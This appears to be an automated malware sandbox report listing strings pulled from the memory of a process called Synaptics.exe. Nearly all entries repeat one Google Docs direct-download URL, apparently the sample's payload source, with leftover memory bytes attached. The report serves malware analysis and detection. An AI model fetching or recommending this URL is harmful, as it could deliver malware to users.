Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloader-sv
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaders
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeske
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadet
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlen
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadetlenZ
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf3x
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfe
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadformO
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg.
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg0
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgE
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgQ
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgSJ
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgi
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgrou
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh-ua-
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh./
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhA
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhread
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi9=
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadicK
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadig
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadim
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloading
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadio3
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadion-
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyf3
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor.
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyor...
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiz
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjA
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk3o
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadktop
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniyI
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlez1)
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlfons
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadli
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll-Vez
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll-ve
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllJ0Y
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllemw7O
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlsx
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm(
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm89
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmU
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmi
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmph
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn15
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadna
Source: Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnaq
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadndCl
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnect
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnectiQ
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetlM7y
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadngB2Q
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor...
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor/
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnj
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnject
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnnec
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadns
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnsv2=
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnt
Source: Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado-ca
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado6F3.
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000548B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.000000000548B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoQr
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoadIDV
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoami
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom.aj
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadomp
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadons
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador$M
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...n
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorigi
Source: Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadort
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadosr3
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadot
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadot~0%
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadou
